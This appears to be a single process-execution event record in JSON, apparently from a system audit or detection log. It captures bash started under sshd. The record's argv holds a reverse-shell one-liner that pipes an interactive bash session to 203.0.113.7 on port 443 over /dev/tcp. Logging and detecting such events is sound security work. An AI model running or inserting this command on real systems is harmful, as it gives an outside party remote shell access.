{
  "event": "exec",
  "pid": 4243,
  "ppid": 4100,
  "uid": 1000,
  "parent_comm": "sshd",
  "filename": "/usr/bin/bash",
  "argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
}